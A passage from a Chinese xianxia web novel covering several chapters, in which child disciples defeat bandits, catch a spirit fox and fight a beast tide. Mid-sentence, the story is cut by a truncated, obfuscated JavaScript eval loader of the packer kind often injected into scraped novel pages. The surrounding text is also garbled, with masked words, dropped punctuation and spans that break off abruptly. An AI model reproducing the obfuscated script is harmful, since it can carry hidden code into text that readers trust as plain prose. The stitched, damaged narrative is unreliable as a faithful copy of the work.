然而,萧星尘的身影比毒镖更快,以一种不可思议的小幅度后仰,让一枚飞镖贴着鼻尖飞过;紧接着侧身拧腰,第二枚和第三枚毒镖贴着肋骨掠过,整个过程行云流水。 瘦猴孙瞳孔猛地一缩,不信邪地再次挥手。 这一次又是三枚飞镖,从斜下方射来,封死萧星尘所有退路。 萧星尘身形如同鬼魅般微微晃动,或侧身,或仰头,再次以毫厘之差轻松避过,甚至还有空打了个小哈欠。 三枚毒镖再次落空,插进地面溅起细小的土坑。 瘦猴孙大怒,直接射出五枚飞镖。 然而,这一次又被萧星尘轻松躲过。 “三招了。”萧星尘语气平淡地提醒。 瘦猴孙脸色涨成了猪肝色。 被一个小孩子如此戏耍轻视,尤其是在大哥面前,让他颜面尽失。 “猴子,你他娘没吃饭吗?跟个小崽子玩过家家呢?快点解决他!”刀疤李在一旁看得不耐烦,怒声催促。 瘦猴孙眼中闪过疯狂与狠毒之色,怒吼道:“小杂种,这是你自找的,看你这次往哪躲!” 他双手连挥,一瞬间,七枚飞镖铺天盖地般射向萧星尘,几乎覆盖了萧星尘周身所有空间。 这是他压箱底的——七星夺命镖。 从未失手! 七枚飞镖并非直线飞行,而是如同拥有生命般,在空中划出诡异的弧线,彼此呼应,形成一张疏而不漏的死亡之网。 就在所有人以为萧星尘必中无疑时,他动了。 只见他的左手探出,在空中划过一道玄妙的弧线,三枚毒镖竟精准地被他夹在了手指之间。 右手几乎在同一时间做出类似动作,另外三枚毒镖也稳稳落入他指间。 与此同时,面对最后一枚直取他咽喉的最快最狠的镖,他的头猛地向左侧一偏,张口“咔嗒”一声,竟用牙齿咬住了。 时间仿佛在这一刻定格。 萧星尘左右手手指间夹满了寒光闪闪的飞镖,嘴里还稳稳叼着一枚。 他身体挺拔如松,眼神锐利如鹰,缓缓回过头,睥睨着前方。 帅!炸!了! 这一幕充满了极致的力量感、速度感、掌控力和一种近乎艺术的暴力美学,与他那孩童的身形和面庞形成了炸裂般的反差,足以让任何目睹之人瞳孔地震,心跳加速。 瘦猴孙脸上的疯狂和狠毒瞬间凝固,化为彻底的、见鬼般的惊恐和难以置信。 “不……不可能!这绝不可能!” 他慌乱的去摸镖。 可萧星尘却不给他机会,手腕一抖、 “咻——” 一枚镖如同黑色闪电般射出,速度比瘦猴孙之前射出来的快了五倍不止,反射而回。 瘦猴孙根本躲闪不开。 “噗嗤!”第一枚飞镖瞬间穿透他的左肩胛骨,巨大的冲击力带着他倒飞出去,“咚”的一声将他死死钉在了身后一棵粗大的树干上。 “啊——”瘦猴孙发出凄厉惨叫。 紧接着。 “咻——咻——咻——” 第二、三、四、五、六枚飞镖接踵而至,精准地穿透他的双臂和双腿,将他成大字型,牢牢钉在树干上,动弹不得。 “大哥,救我——”瘦猴孙彻底吓破了胆,惊恐尖声。 萧星尘眼神冷漠,头轻轻一甩。 嘴里的镖“咻”地射出,精准没入他的丹田。 “呃啊——”凄厉的惨叫响彻林间,瘦猴孙脑袋一歪,昏死过去,一身修为化为乌有。 全场再次死寂,只剩下风吹过树叶的沙沙声。 刀疤李目瞪口呆。 墨妍和铁峰大脑一片空白,完全无法处理眼前这离谱的景象。 炼气期连续打败筑基后期? 越级挑战,也没样越的吧? 强! 太强了! 强得简直不讲道理! 空手接绝杀,反手废敌人,整个过程行云流水,甚至……带着一种残酷的美感。 第113章 仙姐嫌弃我,那我就做尘哥的腿部挂件 “大师兄好帅啊啊啊——”江迷雾第一个跳起来欢呼,眼睛亮得像星星。 “大师兄最最最厉害——”苏渺渺拍着小手,小脸兴奋得通红。 鹿闻声和郁仙眼中也充满了无比的崇拜和骄傲。 “啊——小畜生,老子要将你碎尸万段!!!” 刀疤李从震惊中回过神,取而代之的是暴怒的杀意。 奇耻大辱! 简直是奇耻大辱! 他怒吼着,金丹期灵力毫无保留地注入鬼头刀,刀身爆发出刺目金光,疯了般扑向萧星尘。 萧星尘身影一闪,轻松躲过。 刀疤李刀势连绵,又是一刀横扫千军。 萧星尘只是微微后跃,再次避开。 第三刀斜撩而上,角度刁钻。 萧星尘又一次轻松化解。 刀疤李气得哇哇大叫,血灌瞳仁:“小杂种,你为何只躲不攻?” 萧星尘语气平静得能气死人:“我说了,我不能厚此薄彼。他们两个我都让了三招,自然也要让你三招。刚才,正好三招。” “你——啊啊啊——”刀疤李差点气得金丹不稳,原地自爆。 一个炼气期小鬼,竟敢让他金丹修士三招? 这是明晃晃的羞辱。 “老子要你神魂俱灭!”刀疤李身上爆发出强烈的金属性光芒,攻击力和防御力瞬间暴涨。 “狂金乱刃斩!”他咆哮着,鬼头刀化作无数道狂暴的金色刀影,向萧星尘席卷而去,速度、力量、范围都提升了数个档次。 金丹修士的攻击威力惊人。 萧星尘身法虽灵动,但在如此密集狂暴、毫无死角的攻击下,却也避无可避,手臂、腰侧接连被刀气划伤。 不一会儿,他小小的身体就增添了十几道纵横交错的刀伤,鲜血迅速染红了他的衣衫,看上去触目惊心。 孩子们脸上的笑容消失了,取而代之的是紧张和担忧,小手紧紧握起。 墨妍和铁峰刚刚升起的希望再次破灭,心如死灰。 他们就知道,炼气期和金丹期之间有着不可逾越的鸿沟。 此刻金丹修士一认真,他就立刻陷入了绝对下风。 两人挣扎着想爬起来帮忙,但伤势太重,只能眼睁睁看着萧星尘在刀光中险象环生,心急如焚。 突然,萧星尘跳出战圈:“等一下!” 刀疤李动作一顿,狞笑道:“怎么?小杂种终于知道怕了?要求饶了?晚了!” “谁说我要求饶了?” “不求饶,那你叫停做什么?” 萧星尘指了指自己身上的衣服,一本正经地说:“我就是想脱个衣服,这衣服穿着,有点活动不开,影响我发挥。” 刀疤李:“???” 墨妍和铁峰:“???” 所有人都懵了。 这又是什么操作? 法衣好歹还有点防御效果,脱了不是死得更快? 刀疤李愣了一下,随即发出嘲讽的爆笑:“哈哈哈!原来是自知不敌,脱衣求死,想死得痛快点是吧?好!老子成全你,给你个痛快。” 萧星尘没理他,开始慢条斯理地解扣子,脱外衣。 当他把衣服脱下来,随手往旁边地上一丢时—— “轰!!!” 一声沉闷如陨石坠地般的巨响猛然炸开,地面都微微震动。 那件看起来毫不起眼的外衣,在落地的瞬间,竟然将地面硬生生砸出了一个坑,尘土飞扬。 死寂—— 所有人的目光都死死地钉在那个突兀的坑上,眼珠子都快瞪出来了。 铁峰喉结剧烈滚动了一下,声音干涩发颤,“所……所以……他、他一直……穿着这么重的玩意儿……在战斗?” 墨妍眼睛瞪得如同铜铃,声音都在飘:“穿穿穿着这么重的衣服……他他他居然还能和金丹期的刀疤李打这么久?甚至……还只是受了点皮外伤?” 两人的世界观正在疯狂崩塌。 刀疤李脸上的不屑和嘲讽瞬间僵住,如同被冰封了一般,脸色由红转青,再由青转白,最后变得惨无人色。 看向萧星尘的眼神,已经从看一个死人变成了看一个披着人皮的史前凶兽。 萧星尘活动了一下肩膀、手腕和脚踝,全身骨骼发出一连串清脆如爆豆般的“噼啪”声,他长长地吸了一口气,脸上露出了一个带着点邪气的笑容。 “嗯,这下舒服多了,感觉身体轻得好像要飘起来。” 他扭了扭脖子,看向脸色煞白、冷汗直流的刀疤李,勾了勾手指,眼神变得危险起来:“现在,可以继续了。” 刀疤李被他的眼神看得心底寒气直冒,但金丹期的尊严,让他不能落败。 他再次提刀冲来,用尽力气一刀劈下,“给我去死——” 金光闪过,却劈了个空。 萧星尘的身影,如同鬼魅般凭空消失了。 “人呢?” 突然,一道平静的声音,从他身后传来。 “速度太慢,再来。” 刀疤李吓得魂飞魄散,怪叫一声猛回身,又是一刀拦腰横斩。 刀锋凌厉,却再次落空。 “还是不够快。”声音贴在他耳侧响起,吓得他汗毛倒竖。 “啊啊啊——”刀疤李疯魔般毫无章法地狂劈乱砍。 依然全部落空。 萧星尘的身影,如同瞬移般,重新出现在他面前三步远的地方。 刀疤李彻底崩溃了,他怪叫着,将全身灵力灌注于鬼头刀中,使出自己的绝招——人刀合一。 这一刀,直刺萧星尘心口。 面对这歇斯底里的搏命一击,萧星尘终于不再躲闪。 他微微侧身,在那蕴含着恐怖力量的刀尖即将触碰到他衣角的刹那—— 右手食指和中指,快、准、稳地并指伸出。 “镫——!” 金玉交击的脆响传遍林间,狂暴的刀气瞬间消散。 刀疤李保持着前冲姿势,眼中满是骇然。 他的刀,竟然被对方用两根婴儿肥的手指,稳稳地夹住了。 空手……不,空指接白刃? 接住了他金丹初期的全力一击? 这他娘的到底是什么怪物啊啊啊啊?! 萧星尘眼神一冷,双指微微一拧,一股霸道无匹的星辰之力透指而出。 “咔嚓!” 鬼头刀的刀尖硬生生折断。 紧接着,萧星尘夹着那片尖锐的刀尖碎片,顺势向前一抖。 碎片化作一道势不可挡的流光,瞬间没入了刀疤李的丹田。 刀疤李也倒飞出去,重重摔在地上。 “不——” 刀疤李发出一声绝望、不甘、充满了无尽悔恨的怒吼,感受到苦修多年的金丹瞬间黯淡、碎裂,修为如同泄闸的洪水般疯狂流逝,他双眼一翻,昏死过去。 孩子们爆发出欢快的欢呼。 “大师兄赢啦!太帅啦!” “大师兄无敌!” “我就知道大师兄不会输!” 整个过程,墨妍和铁峰石化回神,再石化再回神,震惊是一波又一波。 这个世界……真的太他娘的玄幻了。 郁仙走上前,拿出一枚流光溢彩的极品疗伤丹递给萧星尘,看着他吃下,身上的伤口迅速愈合,这才放心。 然后,她又拿出两枚同样的丹药,递给墨妍和铁峰。 两人看着这传说中的极品丹药,差点又石化。 不过,似乎已经有点麻木了,这次就只是小小震惊了一下,随后便机械地接过,放入口中。 丹药入口即化,磅礴温和又高效的药力瞬间流遍四肢百骸,他们身上的伤势竟以肉眼可见的速度愈合,断骨续接,内伤平复…… 眨眼间,两人竟然就完好无损了。 “这……这就是极品丹的药效吗……”墨妍感受着体内几乎痊愈的伤势和澎湃的灵力,激动得声音发颤,“和下品丹比起来,简直是云泥之别……” 铁峰看向郁仙的眼神都变了,充满了火热的崇拜,他搓着手,挤出一个讨好的笑容:“小郁仙,不,以后你就是我仙姐!仙姐!求罩!以后我铁峰这条命就是仙姐您的了。” 郁仙瞥了他一眼,尤其嫌弃他那两米高的彪形大汉做出扭捏姿态的辣眼睛模样。 小丫头什么也没说,只默默转身,留给他一个冷漠的背影。 铁峰:“呃……” 笑容僵在脸上,尴尬地挠了挠头。 不能在“仙姐”那里刷好感,他立刻将目标转向了今天的最大功臣。 他猛地冲到萧星尘面前,激动得眼泪汪汪,一把将小小的萧星尘紧紧地抱了起来,甚至还兴奋地转了两个圈。 “尘哥,我亲爱的尘哥,你简直太厉害了,牛逼炸了,你到底是怎么做到的?你真是炼气三层?你肯定是隐藏了修为逗我们玩的对不对?”铁峰激动得语无伦次。 萧星尘被他抱得有点懵,挣扎了一下没挣脱,只好无奈地挑眉看着他:“不是你说,要我叫你铁哥?” 铁峰闻言,立刻把脑袋摇得像拨浪鼓,脸上堆满了憨厚又谄媚到极致的笑容,声音洪亮地表忠心: “岂敢岂敢,我以前说的都是屁话,以后您就是我尘哥,亲哥,唯一的哥,您叫我小铁子,或者小峰子都行!我以后就是尘哥您最可靠的腿部挂件,您指东我绝不往西,您打狗我绝不撵鸡......” 他那巨大的体型像抱娃娃一样抱着小小的萧星尘,配上那副“狗腿”十足、恨不得摇尾巴的表情和话语,极其滑稽可笑。 “噗嗤……”旁边的墨妍第一个忍不住笑出声来。 孩子们也都指着铁峰哈哈大笑起来。 萧星尘被他这活宝样子逗得嘴角微微上扬,露出了一丝难得的、属于孩子的笑意。 “那我以后就叫你铁子,怎么样?” “好嘞,尘哥!” 欢笑过后,众人的目光投向了幽影森林的深处。 月影灵狐,还没有找到呢。 第114章 老牛吃嫩草?不合适不合适 树影摇曳间。 云见月看着铁峰那两米高的彪形大汉,抱着小小的萧星尘一脸谄媚地喊“尘哥”,还自荐要当“腿部挂件”,清冷的脸上出现了裂纹。 云见月哭笑不得。 自己这个大徒弟,在她面前向来是沉稳可靠的,偶尔还会害羞的像个小大人。 没想到在外面,居然还有这般……嗯……“社会”的一面。 对敌时故意耍帅也就罢了,这收“小弟”居然也收得如此坦然,脸不红心不跳就应下了这“尘哥”的称呼,还一副理所当然的样子。 真是……人小鬼大。 云见月也是第一次发现,原来在自己面前乖宝宝的大徒弟,在外人面前竟是有种与生俱来的领袖才能。 无奈之余,心里却是极其骄傲的——自家徒弟嘛,有点霸道才像她教出来的。 旁边的虞青焰摇着扇子笑得玩味:“尘哥?这称呼倒是有趣。我倒是有点期待,等那个大个子见识了闻声控火、阿雾凝剑、还有渺渺的言灵祝福后,怕是连爷爷都能喊出来。” 他桃花眼弯成月牙,想象着铁峰对着奶娃娃们点头哈腰喊爷爷姑奶奶的画面,乐得扇子都快摇飞了。 云见月顺着他的话一想,顿时觉得眼睛被辣到,默默移开视线——那画面太美,她不敢看。 苏心瑶则双手捧心,一双美眸变成了星星眼,完全是一副迷妹姿态。 她压低声音激动的尖叫道:“啊啊啊——星尘小可爱刚才与那三个丑八怪对战的样子真的好帅啊,那接飞镖的姿势,那空手碎大刀的气场,才八岁就帅成这样,真不敢想象长大了要迷死修真界多少女修,这谁顶得住啊!” 林思思在一旁抿嘴轻笑,调侃道:“他还没长大,倒是先把你给迷住了。” 苏心瑶立刻唉声叹气,遗憾道:“哎!可惜,他太小了,我足足比他大了十六岁呢,老牛吃嫩草,不合适不合适。” 林思思一本正经地分析:“对于动辄寿元数百上千年的修士而言,十六岁的年龄差算什么?几乎可以忽略不计。你没听说凡间界有句话叫‘夫君要从小养成’吗?” 苏心瑶眼睛一亮:“对呀,我怎么没想到这一点,思思还是你眼光长远。” 一旁的云见月实在听不下去了, 转过头,警告地瞥了她们两人一眼,“星辰才八岁,警告你们两个,不许打本尊徒儿的主意。 苏心瑶被她这一眼看得下意识地缩了缩脖子,但马上又挺起胸,傲娇地哼了一声:“哼!真是小气,说说而已嘛!你不愿意,我还不愿意呢! 她心里暗自嘀咕:我要是真和你徒弟结为道侣,我岂不是凭空比你矮了一辈?天天得叫你师尊?不行不行,绝对不行,这太亏了,本姑娘才不干! 云见月看着她死要面子的傲娇模样,无奈摇头。 修士岁月漫长,十六岁的差距在漫长道途中的确微不足道。 她想起前世看过的一部大火的仙侠剧,女主可是比男主大了足足九万岁。 相比之下,十六岁简直可以忽略不计。 不过,这些念头也只是一闪而过,她的注意力很快又回到了徒弟们身上。 玄天拆迁队再次开始认真寻找月影灵狐的踪迹。 墨妍根据任务卷轴和自己的听闻分析道:“月影灵狐喜爱月光,它们的巢穴通常会选择在月光能照射到的开阔地带,或者有缝隙能让月光透入的地方。所以,我们应该往树木相对稀疏、或者有岩石裸露的区域寻找,而不是在这种遮天蔽日的密林深处。 她还补充道:“另外,据说这种灵狐身上会带着一种极淡的、类似于冷月清辉的微香,它们以吸收月华和一种名为‘月光草’的灵植为主食,我们可以特别注意一下月光草所在的地方。 于是,大家根据这些线索,调整方向,朝着森林中看似更开阔、月光照射的到的地方行进。 然而,越往里走,周围的环境越发诡异。 温度明显降低,空气中竟然开始浮现出淡淡的、如同桃花瓣般的粉色雾气。 苏渺渺眨巴着大眼睛,好奇地伸出小手,似乎想抓住那漂亮的粉雾。 “咦?怎么雾越来越多了?渺渺还是第一次看到粉色的雾呢,好漂亮啊……就是,就是……渺渺的头感觉好晕啊…… 墨妍脸色一变,暗道不好:“是迷桃瘴!这是幽影森林里一种名为‘醉梦桃妖树’的植物释放出来的,这种树一旦感知到外人靠近,便会释放出能麻痹神经的粉色雾气,虽然不致命,但会令人昏迷,在森 林里昏迷是非常危险的,极有可能被妖兽吞吃入腹。” 大家闻言,立刻纷纷运转灵力,在体外撑起了一层淡淡的灵力防护罩,将粉雾隔绝在外。 铁峰奇怪地看向依旧没有任何灵力波动的萧星尘,关切地问:“尘哥,你怎么不用灵力幻化防护罩?” 萧星尘眼皮抽搐了一下,“我、我只有炼气三层,做不到灵力外放凝聚防护罩。” “???” 铁峰和墨妍都震惊了,甚至觉得萧星尘在开玩笑。 “尘哥,别闹了,你连金丹初期的刀疤李都打败了,怎么可能只有炼气三层?你身上一定有某种隐藏修为的法宝,对不对?” 萧星尘叹了口气:“我没开玩笑,我法修之路受阻,转而主修体术了。” 铁峰瞪大了眼睛:“体修?那……那尘哥你现在的肉身实力,是不是至少相当于金丹期了?” 萧星尘歪头想了想,诚实回答:“不清楚,可能是吧。” 《九转星辰淬体术》一共九重,他目前已经完全掌握了第二重的九个动作。 当初修炼完第一重时,他在萧家打败了筑基期的修士,却不敌金丹期的萧宴。 如今,他修炼完了第二重,轻松打败了同为金丹期的刀疤李。 他猜测,或许《九转星辰淬体术》的每一重,分别对应着法修的九个境界:炼气期、筑基期、金丹期、元婴期、化神期、炼虚期、合体期、大乘期、渡劫期。 他目前的修为,大概就是筑基期大圆满的状态,又因为他一直负重五倍重力修炼,根基无比扎实,所以才越级战胜了金丹期的刀疤李。 萧星尘心里这样想着,但嘴上却只是随意的道了句自己不太清楚。 铁峰和墨妍一阵无语,但看萧星尘不像说谎的样子,也只能将信将疑地接受了这个离谱的解释。 铁峰一拍胸膛:“没事尘哥,防护罩小事,我来保护你。” 说着,他立刻扩大了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江迷雾见状,“铿”地祭出凝霜剑,冷声道:“不能用火,那就用剑!我几道剑气过去,保证把这周围的破树杂草全部清理干净。” 墨妍汗流浃背地再次阻拦:“也不行,剑气纵横,动静同样不小,还是会惊动灵狐,月影灵狐胆子极小,生性多疑,一旦受惊藏匿起来,几年都可能不再现身。” 墨妍只觉得心好累,这些小祖宗,思路一个比一个直接,一个比一个暴力,真不知道他们的师尊是怎么教的。 “咱们得采取更为柔和一点的办法。” “那要怎么办呢?”苏渺渺歪着小脑袋,肉包子脸鼓鼓的,也努力做着思考状。 这时,郁仙上前一步,清冷的眸子看着浓郁的粉雾,轻声开口:“或许,我能让那些植物不再释放雾气和毒气。” 墨妍和铁峰虽然见识过郁仙操控水草和秒杀金丹妖兽的恐怖,但让植物“听话”停止释放与生俱来的防御本能? 这听起来还是有点过于玄幻了,两人心里有些不信。 但下一刻,他们就再次被狠狠打脸。 只见郁仙那双琉璃般的眸子中,浮现出神秘而冰冷的银月色光晕,她对着浓雾深处,冷声命令道:“把雾气和毒气,收起来。” 她的声音不大,却仿佛带着一种奇异的,对植物来说恐怖的法则力量。 令人难以置信的事情发生了—— 只见周围原本还在不断加剧的粉雾和刺鼻气味,突然停止了增加。 然而,也仅此而已,雾气并未散去。 郁仙眸子微微一眯,眼中银光大盛,一股蕴含着生死轮回的枯荣之力从她小小的身体里扩散出来,语气变得更加冰冷无情:“我再说最后一次,收起来,否则,死!” 第115章 这将是一场,史无前例的团队作战 霎时间,周围的空气仿佛都凝滞了。 那些隐藏在雾中的“醉梦桃妖树”似乎感受到了那股令它们从灵魂深处战栗的恐怖力量。 那是能轻易决定它们繁荣或是枯萎的绝对主宰之力。 几乎是在郁仙话音落下的瞬间,眼前的浓郁粉雾和那刺鼻的腐蚀性毒气,如同潮水般迅速退去,消失得无影无踪,周围的视野瞬间变得清晰起来。 墨妍和铁峰张大了嘴巴,眼睛瞪得滚圆,再次陷入了无比的震惊之中。 植物……真的听她的话? 这到底是什么逆天的能力? 郁仙却没有停下,她银色的瞳孔扫视着恢复清晰的林地,再次冷声下令:“释放迷雾和毒气的,滚出来见我。” 四周一片寂静,没有任何回应。 郁仙面无表情地开始倒数: “三。” 林中只有风声。 “二。” 依旧没有动静。 “一。” 就在“一”字落下的刹那,旁边的灌木丛和一棵大树后面,窸窸窣窣地伸出两根颤抖的枝条。 一根是桃粉色的,带着绒毛,这是——醉梦桃妖树。 另一根是暗紫色,布满细小尖刺,这是——腐酸荆棘藤。 它们小心翼翼地、如同臣子拜见君王般,将枝条递到郁仙面前,甚至还在微微颤抖。 郁仙伸出手,分别在两根枝条上各折下了一小段,然后才冷淡地说道:“可以退下了。” 那两根枝条如蒙大赦,瞬间缩了回去,紧接着传来一阵急促的、植物移动的窸窣声,很快远去了。 墨妍看着郁仙手中的两截枝条,好奇地问:“仙姐,你折下这些枝条做什么?” 仙姐? 郁仙嘴角抽搐了一下。 不仅她嘴角抽搐,暗处的云见月更是眼皮直跳,虞青焰轻笑,似乎早就料到了这个结果。 再看苏心瑶和林思思,捂着嘴,已经笑的不行了。 再说郁仙,她只有一秒钟的短暂不适应,也就接受了仙姐这个称呼。 郁仙将枝条小心收好,语气平淡,道:“带回去种活,迷瘴和毒气,在未来对敌时,或许能派上用场。” 墨妍:“!!!” 她看着眼前这个只有五六岁、面容精致却冷静得可怕的小女孩,心中再次掀起了惊涛骇浪。 这才多大? 不仅实力恐怖,心思竟然还如此缜密深远? 已经开始为自己未来收集对敌手段了? 这些孩子,一个两个的都不正常。 玄天宗到底是个什么样的地方啊! 他们的师尊又是什么样的存在啊! 墨妍和铁峰对视一眼,越来越好奇了。 解决了雾气和毒气,视野开阔,灵力也不再消耗,一行人重整旗鼓,继续朝着月影灵狐最可能存在的方向探寻而去。 时间一点点过去,天色也渐渐黑了下来。 明月高悬。 月光透过稀疏的林叶洒下点点银斑,仿佛在指引着道路。 终于,在一处月光相对集中的岩石地带,他们发现了一道银白色身影。 它体型优美,毛皮在月光下流淌着银白的光泽,身后拖着一条蓬松的大尾巴,尾巴尖处宛如萤火虫般,在月光下闪闪发亮。 正是月影灵狐! 此刻的月影灵狐,正蹲坐在一块岩石上,月光如同银纱一般披在它身上,它则是仰着头,闭着眼,直面月光,仿佛在吸收日月精华。 墨妍压低声音,难掩激动:“找到了。” 她的目光快速扫视,一眼便发现了一出洞穴。 她小声指挥铁峰:“阿峰,你悄悄挪到洞穴处,一会儿我负责抓,如果灵狐往洞穴跑,你就堵住洞穴,把它抓住。” 铁峰重重点头,随即开始行动。 别看他个子大,但是却没有发出任何声音。 大家屏息凝神。 墨妍悄无声息地靠近。 近了。 更近了。 就在墨妍距离月影灵狐还有一丈时,她一个猛扑,就扑了过去。 然而,月影灵狐警惕性极高,几乎在她动身的瞬间就察觉到了,化作一道银光窜了出去。 速度之快,远超墨妍的预料。 她急忙施展身法追赶,月影灵狐直奔巢穴而去。 这时,铁峰冷不丁窜出来,高大的身体将洞穴挡了个严严实实,蒲扇般的大手,迅速抓向月影灵狐。 灵狐尖叫一 声,赶忙掉转身形,开始在林间岩石间穿梭,灵活得不可思议。 墨妍和铁峰连它的**都没摸到。 见状,铁峰有些沉不住气,低吼一声就要追,却被墨妍阻止了。 “阿峰,你不能动,务必堵好洞穴,不能让灵狐逃回洞穴里。 铁峰无奈,只能原地不动。 可墨妍一个人,根本就抓不到灵活的月影灵狐。 月影灵狐极其聪明,总能从她的缝隙中溜走,甚至还故意绕着圈子戏耍她,她累得气喘吁吁。 “这样不行!萧星尘小手一挥,“大家一起上,围住它! 小家伙们立刻兴奋起来,从四面八方进行围堵。 萧星尘速度快得惊人,几次都差点触碰到灵狐,带起的劲风吓得灵狐连连尖叫,慌不择路地直冲向鹿闻声的方向。 鹿闻声早有准备,掌心“轰地腾起一大团炽热的火焰,几乎照亮了半边天。 他虽然没有攻击,但那恐怖的高温瞬间吓得灵狐背**竖起,硬生生扭转身形,窜向另一边的江迷雾。 江迷雾眼神锐利,凝霜剑在手里挽了个漂亮的剑花,一道冰冷的剑气出现。 月影灵狐受惊之下,眼看无处可逃,朝着看起来最无害的苏渺渺那边跑去。 苏渺渺哎呀一声,小嘴开始碎碎念,“停下停下停下,你要乖乖的被我抓到。 也不知道怎么搞得,刚才还无比迅捷的月影灵狐,身体居然不受控制的慢了下来。 它的四条腿拼命的在地上倒腾,四条腿都出现了残影,但整个身体就是原地不动,简直诡异极了。 就在这时,数根翠绿的藤蔓灵活地缠绕而上,将月影灵狐捆了个结结实实。 “抓住了!众人一阵欢呼。 月影灵狐拼命挣扎,不许任何人靠近。 墨妍:“这小狐狸,气性倒是挺大,这可怎么办? 铁峰:“直接给它打晕,咱们割了尾巴**,也就完成了任务。 “嗯,好主意。小家伙们连连点头。 然而,当月影灵狐听到要割尾巴时,挣扎的更加厉害了。 口中还发出尖锐至极的嘶鸣,不知道的,以为它受到了多大的伤害呢。 小家伙们全部捂住耳朵 ,被这叫声叫的头疼。 铁峰有些恼火,不就是割掉它尾巴上一撮**吗?又不要它的命,至于这般的撕心裂肺。 “我受不了了,我现在就要把它打晕,一直鬼叫,叫的我头疼。” 说着,铁峰就走向月影灵狐。 就在这时,异变突生。 月影灵狐的身体猛地爆发出刺目无比的银色光芒。 一股令人心悸的恐怖气息 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树木被撞断的声音、奔跑的声音不绝于耳。 兽潮! 因为九尾狐的出世和愤怒,整个幽影森林的妖兽都被惊动、召唤,形成了恐怖的兽潮,从四面八方向他们所在的位置疯狂涌来。 眨眼间,黑压压的、各种各样的妖兽就将他们里三层外三层地包围了。 其中尽是筑基期妖兽甚至还有零星几只金丹期妖兽。 一只筑基期或者金丹期妖兽,他们还能应付。 可这成千上万只,他们着实捉襟见肘。 “完… …完了……”铁峰嘴唇哆嗦着巨大的斧头都有些握不稳。 墨妍也面无人色她还是第一次面对这铺天盖地的兽潮。 小家伙们也被这突如其来的恐怖场面吓了一跳小脸发白。 妖兽根本就不给他们多余的思考时间瞬间扑了上来。 突如其来的兽潮彻底打乱了他们的阵脚死亡的阴影瞬间笼罩而下。 他们唯有拼尽全力抵抗。 将全程看了一清二楚的苏心瑶和林思思心急如焚。 “云见月咱们还不出手吗?” 云见月眸中闪过担忧但她还是强行压下冷静判断:“还不到时候再等等。” 苏心瑶看着还没有妖兽腿长的孩子们好几次都险些被妖兽咬到连她都心惊肉跳。 可云见月居然还说再等等。 她有时都要分不清云见月到底是真关心孩子们还是假关心了。 墨妍和铁峰护着孩子们拼命抵抗。 墨妍灵力消耗大半铁峰左支右绌眼看就要被妖兽淹没。 就在这极度混乱和危机的时刻萧星尘脑海中瞬间回想起离开宗门时师尊温柔却坚定的话语:“星尘你是大师兄要照顾好师弟师妹。遇到困难不要怕 对!不能慌!他是大师兄! 萧星尘眼神瞬间变得锐利起来用最大的声音喊道:“大家别慌听我指挥。” “二师弟——” “在!”鹿闻声立刻响应。 “你火焰范围大伤害高负责清理正面大量冲过来的低阶妖兽!” 萧星尘此言一出云见月眸中的担忧一扫而空唇瓣微微上扬。 她就知道自己精心教导出来的徒儿绝对不会让她失望。 她淡淡道:“真正的战斗才刚刚开始等着看吧这将是一场史无前例的团队作战。” 第116章 玄天开黑小队,牛逼中的战斗机 她信心满满,苏心瑶和林思思都有些不信。 大姐,那可是兽潮。 兽潮懂不懂? 你指望五个小屁孩组成的队伍击败兽潮? 开玩笑! 他们要是真的能击退兽潮,玄天拆迁队就是她们心目中的神! “这般自信?”虞青焰挑眉。 “自然,你不信?”云见月瞥了他一眼。 “不。”虞青焰直视她,“我信。” 云见月脸上的笑意逐渐加深,转头看向战场,心中默默道:闻声,火灵根,中路法师-范围伤害。 鹿闻声对萧星尘这个大师兄绝对信任,也绝对服从。 “明白!看我的!” 他操控火灵力,火焰雨,在妖兽头顶大面积降临。 在大范围火焰雨之下,正面攻来的妖兽发出撕心裂肺的惨叫后,速度瞬间慢了下来。 萧星尘见状,满意点头,再次指挥江迷雾。 “四师弟——” “在!”江迷雾凝神以待。 “你剑法精准,单体杀伤力强,身法灵活,负责游走,点杀那些试图冲破火线或者从侧面偷袭的高阶妖兽。” 在他说出这番话的同一时间,云见月的心里也大声说出了:打野刺客-游走收割。 “交给我!”江迷雾身影一闪,剑光如龙,精准地刺入一头试图扑向苏渺渺的狼妖咽喉。 萧星尘又看向郁仙。 “三师妹——” 郁仙抬眸看向他,坚定道:“在!” “你用藤蔓控制,限制那些冲得太快的妖兽的行动,保护好大家的后方和侧翼,别让它们冲乱我们的阵型!” 云见月:辅助控制-团队保护。 郁仙点点头,无数青藤破土而出,缠绕、鞭挞,有效地减缓了兽潮的冲击速度。 “铁峰——墨妍——” 两人见萧星尘有条不紊的指挥,下意识地应道。 “在!尘哥您吩咐!” “你们两个防御强,经验丰富,负责守住左右两翼,顶住压力,别让妖兽冲进来!” 云见月高兴的差点为萧星尘鼓掌:上路下路-承伤抗压。 “好!”两人立刻左右分开,巨斧和长剑舞得密不透风, 将扑来的妖兽死死挡住。 “小师妹——萧星尘最后看向苏渺渺。 苏渺渺虽然有点害怕,但还是努力挺起小胸脯:“大师兄,渺渺在! “你最重要!用你的声音,给大家加油!让师兄师姐们力量更大,速度更快!伤害更高! 云见月:核心辅助-增益BUFF,妥妥的奶妈。 “嗯!苏渺渺深吸一口气,用她最甜最亮的声音大声喊道:“大师兄加油!二师兄加油!三师姐加油!四师兄加油!铁子哥哥加油!阿妍姐姐加油!你们.你们速度、力量和伤害都增加好多好多. 随着她的声音,一道道无形的、温暖的增益光环瞬间笼罩在每个人身上。 鹿闻声感觉火焰更加炽热澎湃。 江迷雾觉得身法更加轻盈迅捷,剑气也更凶猛了。 郁仙的藤蔓更加坚韧有力,挥舞的虎虎生风。 他们三个人经历过这些,不觉得惊讶。 而当铁峰和墨妍察觉到手臂无端充满力量时,整个人都惊呆了。 这又是怎么回事??? 此时,情况紧急,他们也顾不得细想,继续按照萧星尘的要求,在左右两翼阻挡妖兽。 原本各自为战、险象环生的局面,在萧星尘的调度下,顷刻间化作一道坚不可摧的移动堡垒。 火焰、剑光、藤蔓、祝福与坚实的防御完美交织,竟在汹涌的兽潮中硬生生开辟出一片相对安全的区域。 他们各司其职,如同一个精密运转的战斗机器。 鹿闻声的火海焚烧主力。 江迷雾的剑光精准点杀。 郁仙的藤蔓控制全场。 铁峰墨妍坚如磐石。 苏渺渺的祝福源源不断。 萧星尘则如同战场统帅,不断观察局势,大声指挥调整:“左边,左边压力大。 “铁子顶住! “二师弟火焰覆盖左边! 